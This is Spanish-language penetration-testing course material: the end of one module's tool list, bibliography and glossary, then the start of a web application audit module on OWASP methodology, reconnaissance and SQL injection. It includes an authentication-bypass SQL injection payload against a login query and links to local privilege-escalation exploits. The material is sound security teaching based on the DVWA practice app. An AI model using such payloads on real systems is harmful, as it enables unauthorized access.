Qualys SSL (recopilación de herramientas usadas)
https://github.com/byt3bl33d3r/pth-toolkit
Pth-toolkit (recopilación de herramientas usadas)
https://github.com/lanjelot/patator
Patator (recopilación de herramientas usadas)
https://pastebin.com/
Pastebin (recopilación de herramientas usadas)
http://www.openvas.org
Openvas (recopilación de herramientas usadas)
Nmap (4)
https://nmap.org/nsedoc/
Nmap (3)
Nmap (2)
Nmap (1)
https://nmap.org/
Nmap (recopilación de herramientas usadas)
http://netcat.sourceforge.net/
Netcat (recopilación de herramientas usadas)
https://www.tenable.com/products/nessus/nessus-professional
Nessus (recopilación de herramientas usadas)
https://nmap.org/ncrack/
Ncrack (recopilación de herramientas usadas)
https://github.com/gentilkiwi/mimikatz
Mimikatz (recopilación de herramientas usadas)
41/45
https://www.metasploit.com/
Metasploit (recopilación de herramientas usadas)
https://github.com/jmk-foofus/medusa
Medusa (recopilación de herramientas usadas)
http://www.openwall.com/john/
Jhon the Ripper (recopilación de herramientas usadas)
ICMP
https://tools.kali.org/password-attacks/hydra
Hydra (recopilación de herramientas usadas)
https://hashcat.net/hashcat/
Hashcat (recopilación de herramientas usadas)
https://www.google.com
Google (recopilación de herramientas usadas)
https://github.com/
Github (recopilación de herramientas usadas)
https://www.elevenpaths.com/es/labstools/foca-2/index.html
FOCA (recopilación de herramientas usadas)
http://www.exploit-db.com
Expliot-db (recopilación de herramientas usadas)
https://github.com/portcullislabs/enum4linux
Enum4linux (recopilación de herramientas usadas)
https://github.com/fwaeytens/dnsenum
Dnsenum (recopilación de herramientas usadas)
http://cve.mitre.org
CVE (recopilación de herramientas usadas)
https://www.bing.com/
Bing (recopilación de herramientas usadas)
Attack Mitre
https://github.com/royhills/arp-scan
Arp-scan (recopilación de herramientas usadas)
42/45
https://www.arin.net/
Arin (recopilación de herramientas usadas)
http://archive.org
Archive.org (recopilación de herramientas usadas)
Acunetix (recopilación de herramientas usadas)
https://0day.today/
0day (recopilación de herramientas usadas)
Bibliografía
0day.: https://0day.today/
Hash Crack: Password Cracking Manual. : Picolet, J. (2018). Hash Crack: Password
Cracking Manual.
Penetration Testing Fundamentals: A Hands-On Guide to Reliable Security Audits . :
Easttom, C. (2018). Penetration Testing Fundamentals: A Hands-On Guide to Reliable
Security Audits. Indianapolis: Pearson IT.
Acunetix.: https://www.acunetix.com/
Archive.org.: http://archive.org
Arin.: https://www.arin.net/
Arp-scan.: https://github.com/royhills/arp-scan
Attack Mitre.: https://attack.mitre.org/wiki/All_Techniques
CVE.: http://cve.mitre.org
Dnsenum.: https://github.com/fwaeytens/dnsenum
Dnsrecon.: https://github.com/darkoperator/dnsrecon
Documentación de scripts de Nmap.: https://nmap.org/nsedoc/
Enum4linux.: https://github.com/portcullislabs/enum4linux
Exploit-db.: http://www.exploit-db.com
Exploit-db. Linux sock_sendpage() NULL pointer dereference. : https://www.exploit-
db.com/raw/9545/
Exploit-db. Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-
080).: https://www.exploit-db.com/exploits/18176/
Github.: https://github.com/
Hashcat.: https://hashcat.net/hashcat/
43/45
Hydra.: https://tools.kali.org/password-attacks/hydra
Internet Control Message Protocol (ICMP).:
Jhon the Ripper.: http://www.openwall.com/john/
Medusa.: https://github.com/jmk-foofus/medusa
Metasploit.: https://www.metasploit.com/
Mimikatz.: https://github.com/gentilkiwi/mimikatz
Ncrack.: https://nmap.org/ncrack/
Nessus.: https://www.tenable.com/products/nessus/nessus-professional
Netcat.: http://netcat.sourceforge.net/
Nmap. Control de tiempo y rendimiento.: https://nmap.org/man/es/man-performance.html
Offensive Security. Metasploit Unleashed – Free Ethical Hacking Course. :
https://www.offensive-security.com/metasploit-unleashed/
Openvas.: http://www.openvas.org
OSVDB.: http://www.osvdb.org
Pastebin.: https://pastebin.com/
Patator.: https://github.com/lanjelot/patator
Pth-toolkit.: https://github.com/byt3bl33d3r/pth-toolkit
Qualys SSL.: https://www.ssllabs.com/
Qualys.: https://www.qualys.com/solutions/web-app/
Repositorio de Recon-ng.: https://bitbucket.org/LaNMaSteR53/recon-ng
Ripe.: https://www.ripe.net/
Robtex.: https://www.robtex.com/
SANS Institute. Nmap Cheat Sheet. : https://blogs.sans.org/pen-
testing/files/2013/10/NmapCheatSheetv1.1.pdf
Searchsploit.: https://github.com/sygo/searchsploit
Securityfocus.: http://www.securityfocus.com/bid/
Securitytracker.: http://www.securitytracker.com
Shodan.: https://www.shodan.io/
SSLscan.: https://github.com/rbsec/sslscan
theHarvester.: https://github.com/laramies/theHarvester
Vulscan.: https://github.com/scipag/vulscan
Wireshark.: https://www.wireshark.org/
WPScan.: https://wpscan.org/
Xforce.: http://xforce.iss.net
44/45
Zenmap.: https://nmap.org/zenmap/
Glosario.
Ataque de fuerza bruta (credenciales): Automatizar el proceso de autenticación sobre un

determinado servicio o aplicación con la finalidad de ir probando posibles combinaciones de
contraseñas o usuario/contraseña, hasta averiguar las credenciales de acceso de algún usuario
privilegiado.
Escalada de privilegios: Resultado de acciones que permiten a un adversario obtener un

mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.
Exploit: Software o técnica que permite explotar o aprovechar una vulnerabilidad de

seguridad de un sistema de información para conseguir un comportamiento no deseado del
mismo.
Password cracking: Intentar utilizar los hashes de las contraseñas para averiguar las
contraseñas en texto claro.
Payload: Conjunto de datos transmitidos (mensaje enviado).
Pivotar (pivoting): Técnica única de usar una instancia para poder "moverse" dentro de una
red. La finalidad del pivoting es comprometer a otras máquinas de la red a la que pertenece un
sistema ya comprometido. Como no se puede acceder directamente a ellas, se usa la máquina
comprometida para recolectar información y lanzar exploits.
Shellcode: Pequeña porción de código utilizada como carga útil en la explotación de una
vulnerabilidad de software. Se llama "shellcode" porque normalmente inicia un shell de
comandos desde el cual el atacante puede controlar la máquina comprometida, pero cualquier
código que realice una tarea similar se puede llamar shellcode.
45/45
Auditoría de aplicaciones web © ADR
Infor SL
Indice
Auditoría de aplicaciones web 4
I. Introducción a la auditoría web 4
1.2. Objetivos 4
1.3. Tipos de auditoría 5
1.4. Vulnerabilidades web 5
II. Metodología 7
2.1. Pruebas de seguridad en aplicaciones web 7
2.1.1 Recolección de información 8
2.1.2 Pruebas de gestión de configuración e implementación 8
2.1.3 Pruebas de gestión de identidades 9
2.1.4 Pruebas de autenticación 9
2.1.5 Pruebas de autorización 9
2.1.6 Pruebas de gestión de sesiones 9
2.1.7 Pruebas de validación de entrada de datos 10
2.1.8 Pruebas de manejo de errores 10
2.1.9 Pruebas de cifrado débil 10
2.1.10 Pruebas de lógica de negocio 10
2.1.11 Pruebas en el lado cliente 11
2.2. Fases de una auditoría web 11
2.2.1 Planificación 11
2.2.2 Recolección de información 12
2.2.3 Ejecución de la auditoría 12
2.2.4 Elaboración de informe 13
III. Vulnerabilidades y pruebas 13
3.1. Recolección de información 13
3.1.1 Buscadores 13
3.1.2 Navegar por la aplicación 14
3.1.3 Whois 14
3.1.4 Mapa de la aplicación 14
3.1.5 Código fuente 16
3.1.6 Metadatos 17
3.1.7 Cabeceras 20
3.1.8 Puertos abiertos 20
3.1.9 Robots.txt 21
3.2. Búsqueda de vulnerabilidades 21
3.2.1 CVE Details 21
3.2.2 NIST Database 22
3.3. Ataques de inyección 22
3.3.1 SQL injection 23
3.3.1.1 SQL injection basado en errores 24
3.3.1.2 Blind SQL 26
3.3.1.3 Detección 29
3.3.2 LDAP injection 29
3.3.3 Code injection 31
3.3.4 Command injection 32
2/77
3.3.5 Otros ataques de inyección 34
3.4. Cross Site Scripting (XSS) 35
3.4.1 XSS reflejado 37
3.4.2 XSS almacenado 42
3.4.3 XSS basado en DOM 43
3.4.4 Detección 45
3.5. Local/Remote File Inclusion 46
3.5.1 Local File Inclusion (LFI) 46
3.5.2 Remote File Inclusion (RFI) 48
3.5.3 Detección 49
3.6. Cross Site Request Forgery (CSRF) 49
3.6.1 Detección 50
3.7. Analizadores automáticos 51
3.7.1 OWASP ZAP 51
3.7.2. Vega 52
3.7.3. Arachni 53
3.7.4. Otros 54
IV. Anexo I: Burp Suite 54
4.1. Configuración 56
4.2. Características 58
V. Resumen 69
Ejercicios 71
Ejercicio propuesto 1 71
Ejercicio propuesto 2 71
Recursos 72
Bibliografía 73
Glosario. 75
3/77
Auditoría de aplicaciones web
I. Introducción a la auditoría web
1.1. Introducción
Hoy en día gran parte del software corporativo se compone de aplicaciones web empleadas por las
organizaciones en su parque informático. Escribir aplicaciones web seguras es una tarea ardua y
complicada que requiere de multitud de recursos y esfuerzo que pocas organizaciones están dispuestas a
invertir.
Es por ello que las aplicaciones web son un estupendo punto de entrada a muchas organizaciones, ya
que todas las aplicaciones tienen una o varias vulnerabilidades. La cuestión es encontrarlas y explotarlas.
Las auditorías de aplicaciones web consisten en un análisis cuyo objetivo es identificar, enumerar y
describir las vulnerabilidades que existen en ellas. Su objetivo es detectar el mayor número de
vulnerabilidades posible; lo ideal sería detectar todas, pero hay que ser conscientes de que no siempre es
posible y lo que hoy no es una vulnerabilidad mañana puede convertirse en una.
En este módulo estudiaremos diferentes metodologías, vulnerabilidades y herramientas que debemos

conocer y utilizar para auditar estas aplicaciones con las mejores garantías.
La auditoría de aplicaciones web combina el uso de herramientas automatizadas, como escáneres y

fuzzers, y una parte manual con el uso de un proxy para llegar al detalle de las vulnerabilidades y
explotarlas.
1.2. Objetivos
El objetivo de esta unidad es que el estudiante aprenda a aplicar el conocimiento adquirido en las
unidades anteriores a la auditoría específica de aplicaciones web.
En este sentido, trabajaremos en las fases de la auditoría de aplicaciones web, herramientas específicas
para estas tareas, así como diferentes pruebas de seguridad en aplicaciones web.
Para ello, es importante tener un conocimiento sólido sobre las distintas vulnerabilidades, para lo que
nos apoyaremos en herramientas como la interfaz CVE Details o la base de datos del NIST, ya que nos
servirán de ayuda a la hora de comprender, clasificar y conocer los tipos de ataques y vulnerabilidades.
4/77
Durante todo el módulo se va a utilizar la aplicación web DVWA (Damn Vulnerable Web
App), una aplicación vulnerable cuyo objetivo es proporcionar a profesionales de seguridad,
estudiantes, desarrolladores web, etc., un entorno legal donde practicar las técnicas de hacking y
comprender los procesos de seguridad.
Esto servirá para poder ver ejemplos de las pruebas que se llevan a cabo en las auditorías web
con el objetivo de facilitar su comprensión al alumno.
Está disponible para su descarga en http://www.dvwa.co.uk/
Además, se va a hacer referencia al sistema operativo KALI Linux, una distribución basada
en debían diseñada para la auditoría y seguridad informática en general.
Está disponible para su descarga en https://www.kali.org/downloads/
1.3. Tipos de auditoría

Existen distintos tipos de auditorías que se pueden realizar sobre una aplicación web: la diferencia
entre ellas se encuentra en la información que conocemos sobre el objetivo cuando comienza la
auditoría.
Caja negra
El auditor comienza la auditoría conociendo únicamente la URL de la aplicación. El objetivo de
realizar una auditoría de este tipo es que simula un ataque externo real.
Caja gris
Se dispone de cierta información de la aplicación, por lo que no se parte de cero, pero tampoco se
dispone de toda la información que se desee.
Caja blanca
Se dispone de toda la información interna de la organización, código fuente, componentes de la

aplicación, cómo está desplegado en el servidor, etc. Al conocer toda esta información se puede
prescindir de la fase de fingerprinting que se tratará más adelante. Este tipo de auditoría simularía un
ataque interno.
1.4. Vulnerabilidades web

Las aplicaciones web pueden verse afectadas por gran cantidad de vulnerabilidades diferentes. En esta
sección vamos a ver las vulnerabilidades más comunes y descubriremos que hay vulnerabilidades que
pueden ser comunes a todas las aplicaciones web, mientras que otras solo afectarán a las aplicaciones en
función de las tecnologías empleadas en su desarrollo y despliegue.
5/77
La comunidad OWASP ( Open Web Application Security Project ) es un proyecto dedicado a mejorar
el estado de seguridad del software, aplicaciones web incluidas. Como parte de este proyecto se
encuentra la guía Top 10 de OWASP , que contiene las diez vulnerabilidades más comunes en
aplicaciones web.
A continuación, vamos a ver esta lista con las 10 vulnerabilidades más comunes para tener un buen
punto de partida a la hora de evaluar el estado de seguridad de la web de una organización. La versión
más reciente de esta guía fue publicada en noviembre de 2017.
OWASP Top Ten 2017:
Imagen 4.1. OWASP TOP TEN (adaptado).

Fuente: adaptado de OWASP.
6/77
En la imagen 4.2. podemos apreciar una comparativa entre el año 2013 y 2017 del Top Ten en la cual
se puede ver cómo la mayoría de vulnerabilidades siguen siendo las mismas y cómo han aparecido dos
nuevas categorías a tener en cuenta. Se debe destacar que estas vulnerabilidades siguen sucediendo hoy
en día.
Imagen 4.2. OWASP Top 10, comparativa del 2013 y el 2017.

Fuente: OWASP.
II. Metodología
A la hora de llevar a cabo una auditoría de una aplicación web, la mejor manera de afrontarla es seguir
una metodología que nos permita cubrir la totalidad de la aplicación con la mayor probabilidad de éxito.
En esta sección se va a ver una de las metodologías más utilizadas para llevar a cabo las auditorías de
aplicaciones web y las fases de las que consta una auditoría, enfocándonos en las acciones que se deben
llevar en cada fase teniendo en cuenta las posibles vulnerabilidades que nos encontremos.
Esta metodología es la metodología OWASP que, además del top ten de vulnerabilidades, cuenta con
una guía de testing para llevar a cabo la auditoría, que podemos encontrar bajo el nombre OWASP
Testing Guide.
En esta guía podemos encontrar una serie de controles de seguridad que debemos realizar sobre las
aplicaciones web; estos se encuentran agrupados en diferentes categorías teniendo en cuenta la tipología
de las pruebas.
2.1. Pruebas de seguridad en aplicaciones web

Esta guía se estructura en 11 categorías, las cuales vamos a ver a continuación, y contienen un total de
91 controles:
7/77
Imagen 4.3. Módulos OWASP.

Fuente: OWASP.
A continuación, se van a describir los módulos de manera introductoria, siendo recomendable la

lectura completa de los controles en la propia guía:
2.1.1 Recolección de información
Incluye todas las tareas relacionadas con la obtención de toda la información posible de la aplicación.
Algunas de las acciones incluidas en este módulo son:
Búsqueda en internet del objetivo.

Información del servidor web.
Enumeración de aplicaciones en el servidor web.
Identificación de los puntos de entrada existentes en la aplicación.
Mapa web de la aplicación.
2.1.2 Pruebas de gestión de configuración e implementación
El objetivo de estas pruebas será conocer la configuración establecida en el servidor web donde se
encuentra la aplicación, ya que la seguridad en el servidor es tan importante como la de la aplicación.
Enumeración de portales de administración.
8/77
Revisión de la configuración:
que no existan usuarios y contraseñas por defecto

búsqueda de vulnerabilidades conocidas en los componentes de la aplicación
2.1.3 Pruebas de gestión de identidades
Este módulo contempla las pruebas relacionadas con las gestiones de usuarios.
Existencia de roles y su segregación.

Procedimientos de registro de usuarios.
Posible enumeración de usuarios.
2.1.4 Pruebas de autenticación
En aplicaciones que dispongan de una parte autenticada en la que sea necesario disponer de un
usuario/contraseña para acceder, se deben llevar a cabo controles sobre la autenticación para comprobar
que el funcionamiento de la aplicación es el esperado.
Envío de credenciales a través de un canal cifrado.

Política de contraseñas segura.
Posibilidad de saltarse la autenticación y acceder a la parte privada de la aplicación sin
usuario/contraseña.
2.1.5 Pruebas de autorización
Los controles relacionados con la autorización se enfocan en asegurarse de que a cada parte de la
aplicación solo pueden acceder aquellos usuarios autorizados.
Comprobar que no se puede llevar a cabo escalada de privilegios.

Inclusión de ficheros en la aplicación.
2.1.6 Pruebas de gestión de sesiones
En las aplicaciones que tienen usuarios, estas pruebas se realizan para comprobar que las sesiones
están correctamente configuradas y no se pueden manipular de ninguna manera.
9/77
Correcta configuración de las cookies.

Posibilidad de fijar una sesión de usuario.
Comprobar la funcionalidad de logout.
2.1.7 Pruebas de validación de entrada de datos
Este apartado contiene todas las pruebas para detectar o descartar vulnerabilidades de inyección. Se
centra en evaluar todos los campos que envían información por parte del usuario al servidor y que
pueden llegar a modificar el comportamiento esperado de la aplicación.
Pruebas de Cross Site Scripting (XSS), almacenado y reflejado.

Pruebas se SQLinjection.
Pruebas de inyección de código.
En resumen, pruebas de cualquier tipo de inyección (LDAP, Xpath, CML, etc.).
2.1.8 Pruebas de manejo de errores
En muchas ocasiones, las aplicaciones web devuelven errores al usuario. Estas pruebas consisten en
comprobar que los errores no proporcionan información de más que se pueda convertir en una debilidad.
Algunas de las acciones incluidas en este apartado son:
Existencia de errores que muestran información de la aplicación como componentes y

versiones.
Existencia de página de error genérica de la aplicación ante un error inesperado.
2.1.9 Pruebas de cifrado débil
Dependiendo del tipo de aplicación, será necesario que la comunicación y el envío de los datos se
realicen de manera segura, para ello se debe comprobar el cifrado, tanto del envío de información
sensible, como de los algoritmos de cifrado soportados por el servidor.
Utilización de un canal cifrado para el envío de información sensible.

Comprobar el uso de algoritmos de cifrados considerados débiles.
2.1.10 Pruebas de lógica de negocio
10/77
En este módulo se llevan a cabo pruebas que traten de alterar el comportamiento de la aplicación
teniendo en cuenta su lógica de negocio. Las vulnerabilidades detectadas en este módulo son
difícilmente descubiertas a través de escáneres automáticos ya que dependen del contexto de la
aplicación.
Algunas de las acciones incluidas en este punto son:
Posibilidad de forzar peticiones cuando la aplicación no las debería aceptar.

Alteración en los tiempos de procesamiento.
Posibilidad de subir archivos no esperados por la aplicación.
2.1.11 Pruebas en el lado cliente
Estas pruebas implican la ejecución de código en el lado cliente. Esto se puede llevar a cabo a través
del navegador o alguno de los plugins de navegador instalados por el usuario. Se debe diferenciar esta
ejecución de código de la que se realiza cuando se envía una petición al servidor y se ejecuta en él.
Existencia de vulnerabilidades de XSS DOM.

Inyección HTML.
Ejecución de código JavaScript.
Como se ha podido observar, el número de pruebas y controles es muy elevado y hay que tener en
cuenta que no todos aplican a todas las aplicaciones, sino que dependiendo de la tipología de la
aplicación pueden existir controles que no tengan sentido ya que queden fuera del alcance de la
aplicación, ya sea porque se ha acordado así o porque no tengan sentido las pruebas (por ejemplo, si la
aplicación no tiene usuarios, no aplicarías las pruebas de gestión de sesiones, autenticación o
autorización).
2.2. Fases de una auditoría web

Vamos a identificar distintas fases de dentro de una auditoría:
Imagen 4.4. Fases auditoría web.

Para ello, se ha dividido la auditoría web en diferentes fases que irán acompañadas de una serie de
actividades para la correcta ejecución de la auditoría.
2.2.1 Planificación
11/77
Es la primera fase de una auditoría y es aquí donde se llevan a cabo los acuerdos entre el responsable
de la aplicación y el responsable del equipo de auditoría. Debido a esto, en la mayoría de los casos es una
fase transparente para el auditor.
Durante esta fase se acuerdan, entre otros, los siguientes puntos:
Fechas en las que se llevará a cabo la auditoría, fecha de inicio y fecha de fin.
Tipo de auditoría que se va a realizar (caja negra, gris o blanca).
Alcance de la auditoría.
Limitaciones: por ejemplo, no llevar a cabo pruebas que impliquen una posible denegación de
servicio.
Objetivos: qué quiere el responsable de la aplicación.
Preocupaciones: qué inquieta al responsable de la aplicación.
Personas de contacto durante la realización de la auditoría: por ejemplo, en caso de que se
produzcan problemas, se detecten vulnerabilidades con alto nivel de criticidad, etc.
La auditoría va acompañada de una nueva auditoría para comprobar que se han resuelto las
vulnerabilidades que se reporten tras la auditoría inicial.
En pocas palabras, consiste en establecer las expectativas de todas las partes para evitar problemas en
el futuro y que no existan malentendidos que hagan que alguna de las partes quede descontenta.
Todos estos acuerdos se obtienen tras una serie de reuniones que tendrán lugar entre los responsables.
En estas reuniones también se aclararán las dudas que tenga cualquiera de las partes. Una vez finalizada
esta fase, se tendrá todo lo necesario para comenzar la auditoría.
2.2.2 Recolección de información
Esta fase corresponde con la primera toma de contacto con la aplicación. En ella se tratará de obtener
toda la información disponible de la aplicación y de sus componentes. Para ello se van a utilizar dos
técnicas ya conocidas:
Footprinting: recolección de información pública disponible en Internet. Puede ser

información publicada por la propia organización de manera consciente o no. Al ser datos
públicos, el objetivo no tiene manera de detectar que están recopilando datos de él.
Fingerprinting: recolección de información a través de la interacción con la aplicación. Se
obtiene del rastro que dejan los sistemas. Esta información se puede obtener de manera pasiva,
por ejemplo, interceptando el tráfico de red que se produce al navegar por la aplicación para su
posterior estudio; o de manera activa, enviando paquetes/peticiones a la aplicación con el
objetivo de ver cómo responde el sistema, lo que permite obtener información de su
configuración o comportamiento.
2.2.3 Ejecución de la auditoría
La fase de ejecución se puede considerar la fase principal, ya que es donde tienen lugar la mayor parte
de las pruebas.
12/77
Tras haber realizado una correcta recolección de información, se procede a explorar aquellas partes de
la aplicación que aparentemente son más susceptibles de ser vulnerables.
Acciones que se llevan a cabo durante esta fase:
Ejecución de pruebas específicas.

Comprobación de los controles de OWASP.
Escaneo activo de la aplicación o de las páginas sospechosas (aquellas con más probabilidades
de contener vulnerabilidades).
Captura de evidencias de cada vulnerabilidad.
Implica una interacción directa con la aplicación, con el objetivo de detectar y explotar el mayor
número de vulnerabilidades. Para ello, siguiendo la guía de testing de OWASP, iremos recorriendo todas
las posibilidades. Es importante tener en cuenta que no hay que ceñirse únicamente a llevar a cabo los
controles de OWASP, ya que pueden existir vulnerabilidades de otras tipologías y debemos tomarlo solo
como una guía y no como un método infalible.
Otra de las acciones que no se deben pasar por alto en esta fase será la recolección de evidencias cada
vez que se detecte una vulnerabilidad, estas evidencias serán las que aparecerán en el informe y
justificarán la existencia de la vulnerabilidad, por lo que deben ser lo más claras y explicativas posible.
2.2.4 Elaboración de informe
Por último, pero no por ello menos importante, se debe llevar a cabo el informe de la auditoría, en el
que se deben plasmar los resultados de la misma, exponiendo de manera clara los hallazgos encontrados.
Esta fase se estudiará en detalle en la última unidad del curso.
III. Vulnerabilidades y pruebas

Una vez que hemos visto las distintas fases de las auditorías web, la mayor parte de las actividades
que se van a llevar a cabo por parte del auditor se encuentran en la fase 2 y 3.
En este apartado vamos a ver con mayor detalle qué vulnerabilidades pueden existir en las
aplicaciones web, qué acciones se deben realizar para detectar las vulnerabilidades y cómo llevarlas a
cabo.
3.1. Recolección de información

¿De qué manera podemos obtener esta información? A través de diferentes acciones, algunas de las
cuales se explican a continuación:
3.1.1 Buscadores
13/77
Consiste en buscar información de la aplicación y organización en internet que puedan ayudarnos

durante el desarrollo de la auditoría.
Este tipo de búsqueda de información no se limita únicamente a las búsquedas que se realizan por
defecto en los navegadores, sino que se deben explotar estas herramientas al máximo:
Utilizar todos los buscadores disponibles: Google, Bing, etc. No centrarse únicamente en un
navegador, ya que la información que muestra cada uno puede ser diferente.
Google Hacking: permite exprimir las búsquedas en el buscador de Google, permitiendo al
auditor filtrar los resultados según le interese. Los detalles del funcionamiento (operadores y
manera de utilizarlos) de esta técnica se han visto en el módulo I, dentro de la sección
"Reconocimiento" en el apartado de reconocimiento pasivo de información.(https://www.explo
it-db.com/google-hacking-database/)
Bing Hacking: similar a Google hacking, pero desde el buscador de Bing. Tiene algunos
operadores distintos como “ip” que permite buscar todas las páginas que pertenecen a uno
misma IP.
(http://pastebin.com/d2WcnJqA)
Shodan: buscador que, en lugar de buscar información indexada en páginas web, permite
realizar búsquedas en Internet de máquinas de la organización.
(https://www.shodan.io/)
3.1.2 Navegar por la aplicación
Una vez que conocemos la aplicación web objetivo, lo primero será comprobar que podemos acceder
a ella sin problemas. Lo siguiente será navegar a través de ella para ver, entre otras cosas, el tamaño de la
aplicación y páginas que sean sospechosas de tener vulnerabilidades (página de login, formularios,
buscador, etc.).
3.1.3 Whois
Whois es un protocolo TCP que, partiendo de una dirección IP o un dominio, efectúa consultas en una
base de datos que permite determinar el propietario, dominios que aloja, información de contacto, etc.
Se explica con más detalle en el módulo I, sección "Reconocimiento", apartado Reconocimiento

pasivo.
3.1.4 Mapa de la aplicación
Consiste en obtener un esquema completo de las páginas que forman la aplicación. Para obtener esta
información existen distintas herramientas conocidas como spiders o crawlers. Su funcionamiento
consiste en inspeccionar la aplicación de manera recursiva siguiendo todos los enlaces de la aplicación
hasta recorrerla por completo.
Para ello, existen distintas herramientas, una de las mejores es Burp y tiene tanto versión gratuita
como de pago. Durante el curso se van a ver distintos ejemplos en los que se usará la versión gratuita,
Burp Suite Community Edition .
14/77
En primer lugar, una vez que se capture una petición hacia el objetivo con Burp, aparecerá en la
pestaña Target, sobre la URL del objetivo, haciendo clic con el botón derecho, se selecciona la opción
“Spider this host ”.
Imagen 4.5. Funcionalidad Spider de Burp.

Fuente: captura de la herramienta Burp suite.
15/77
Imagen 4.6. Mapa de aplicación - Burp
Imagen 4.6. Mapa de aplicación - Burp.

Fuente: captura de la herramienta Burp suite.
3.1.5 Código fuente
Consultar el código fuente buscando información interna de la aplicación, como pueden ser versiones
de componentes o comentarios con usuarios y contraseñas.
Para ver el código, será suficiente con hacer clic con el botón derecho del ratón y seleccionar “Ver
código fuente de la página” o con el atajo de teclado ctrl+U.
16/77
Imagen 4.7. Ver código fuente de una aplicación web.

Fuente: http://www.dvwa.co.uk/.
Imagen 4.8. Código fuente de una aplicación web.

Fuente: http://www.dvwa.co.uk/.
3.1.6 Metadatos
17/77
Son los datos que describen otros datos y son propios de los archivos. De aquí se puede obtener
información como nombres de empleados de la organización, sistemas operativos, software y versiones
que tiene la organización instalados en sus equipos.
Para obtener los metadatos de un archivo existen diferentes herramientas, una selección de ellas son:
Exiftool
Análisis de metadatos de archivos en local. Se ejecuta a través de la línea de comandos de Linux,

en Windows y también está disponible interfaz gráfica.
Imagen 4.9. Exiftool.

Fuente: captura de la herramienta Exiftool.
18/77
FOCA
Quizás la herramienta más conocida para la extracción y el análisis de metadatos.
Imagen 4.10. FOCA.

Fuente: captura de la interfaz de la herramienta FOCA.
19/77
Metagoofil
Herramienta a través de la línea de comandos, disponible en KALI.
Imagen 4.11. Metagoofil.

Fuente: captura de la herramienta Metagoofil en Linux.
3.1.7 Cabeceras
Revisar las cabeceras HTTP que se intercambian entre las peticiones y respuestas. Estas cabeceras son
enviadas de manera automática por el navegador o el servidor web. Pueden proporcionarnos información
interna como productos y versiones utilizadas.
Imagen 4.12. Cabeceras HTTP.

Fuente: captura de cabeceras de respuestas.
3.1.8 Puertos abiertos
Para conocer el estado del servidor que contiene la aplicación web, qué puertos tiene abiertos, que
servicios están presentes, etc. La aplicación utilizada para este fin será nmap y tendremos que ejecutarla
sobre la IP de la aplicación web (si no la conocemos podemos obtenerla realizando un ping sobre el
dominio).
20/77
Los detalles del uso de esta herramienta se han visto en el Módulo I, dentro de la sección Escaneo, en
el apartado de numeración de servicios y versión.
Imagen 4.13. Puertos abiertos - nmap.

Fuente: captura de la herramienta nmap en Linux.
3.1.9 Robots.txt
Es un archivo que se encuentra en la raíz de las aplicaciones web (no siempre está presente). Se usa
para indicar qué partes de la aplicación no deben ser indexadas por los motores de búsqueda. El objetivo
es no sobrecargar el servidor rastreando páginas sin importancia. Tradicionalmente, se ha usado para
ocultar páginas web de los resultados de Google, pero esto no es recomendable ya que pueden existir
otras páginas que redirijan a las páginas y por lo tanto no será efectivo. A día de hoy, todavía hay
aplicaciones web que lo usan de este modo, por lo que nos estará proporcionando URL que los
responsables de la aplicación quieren ocultar, como por ejemplo un panel de administración.
Imagen 4.14. Archivo robots.txt.

Fuente: captura del archivo robots.txt en dvwa.
3.2. Búsqueda de vulnerabilidades

Si la fase de recolección de información se ha hecho de manera correcta, se tendrá una buena cantidad
de datos de los que partir. Una revisión que se debe hacer es comprobar, en caso de tener componentes,
sus nombres y sus respectivas versiones; se debe buscar la existencia de vulnerabilidades conocidas que,
en caso de existir, ya supondrían vulnerabilidades de la aplicación.
Existen diferentes bases de datos de vulnerabilidades en las que podremos realizar esta búsqueda de
información:
3.2.1 CVE Details
Interfaz web que permite realizar búsquedas de vulnerabilidades a través de proveedores, productos y
versiones. Muestra la información de manera sencilla y contiene toda la información incluida en los
CVE.
21/77
Imagen 4.15. Vulnerabilidades CVE Details.

Fuente: https://www.cvedetails.com/.
3.2.2 NIST Database
Base de datos de vulnerabilidades del NIST (Instituto Nacional de Normas y Tecnología). Otro
recurso para buscar vulnerabilidades de productos y ver el detalle de las mismas.
Imagen 4.16. Vulnerabilidades NIST.

Fuente: https://www.nist.gov/.
3.3. Ataques de inyección

Como hemos visto en el top ten de OWASP, las vulnerabilidades de inyección se encuentran en el
puesto número uno de las más comunes en aplicaciones web. Tienen lugar cuando la aplicación acepta
datos no confiables del usuario y los envía al servidor donde son interpretados como parte de un
comando o consulta.
22/77
Dentro de los ataques de inyección, existen varios tipos que se van a desarrollar a lo largo de este
apartado:
SQL injection
LDAP injection
Code injection
Command injection
3.3.1 SQL injection
La vulnerabilidad de SQL injection es la más conocida de todas las inyecciones en aplicaciones web.
Se centra en atacar la base de datos de la aplicación a través de peticiones en las que se inserta código
SQL con el objetivo de que se ejecute en la base de datos.
Es importante tener en cuenta que, aunque la vulnerabilidad involucre a la base de datos, esta se
encuentra en la aplicación web.
Las consecuencias de que una aplicación vulnerable a SQLi pueda verse atacada por un
usuario malicioso son, entre otras:
Acceso no autorizado a la aplicación.

Suplantación de identidad.
Obtención de información interna de la base de datos.
Compromiso de la integridad de los datos a través de la modificación de los datos internos
de la aplicación:
Modificación de los contenidos de la base de datos.

Eliminación de datos de la aplicación.
Ejecución de código remoto.
A continuación, se puede observar un esquema que explica SQLi de manera sencilla para facilitar su
comprensión:
23/77
Imagen 4.17. SQL injection.

Tenemos una aplicación web con un formulario de login para permitir acceso únicamente a
los usuarios autorizados. Esta aplicación no valida los datos de entrada y es vulnerable a SQLi,
por lo que un usuario malicioso podrá obtener acceso a la aplicación sin ni siquiera conocer la
contraseña de un usuario legítimo.
Imagen 4.18. Formulario de login.

Consulta SQL original: SELECT * FROM users WHERE user = ‘admin’ AND password =
’password ';
Código inyectado por el usuario malicioso: ‘OR ‘1’=‘1’
Consulta SQL final:
SELECT * FROM users WHERE user = ‘admin’ AND password = ’password ‘OR ‘1’=‘1’';
Resultado: el usuario malicioso obtiene acceso a la aplicación web de manera no legítima.
Una vez explicado el concepto general se van a explicar los distintos tipos de SQLi que existen:
3.3.1.1 SQL injection basado en errores
Este tipo de SQLi es el típico, se basa en que la base de datos muestra algún error a través de la
aplicación web.
Existen varias formas de provocar errores a nivel de base de datos que nos indiquen que la aplicación
es vulnerable:
24/77
Insertar un comentario fin de línea ‘#’ para anular el código legítimo tras la inyección.
Realizar consultas malformadas, que puedan provocar un fallo en la aplicación.
Tautología, que consiste en inyectar declaraciones que son siempre verdaderas, forzando a que
se ejecute sí o sí.
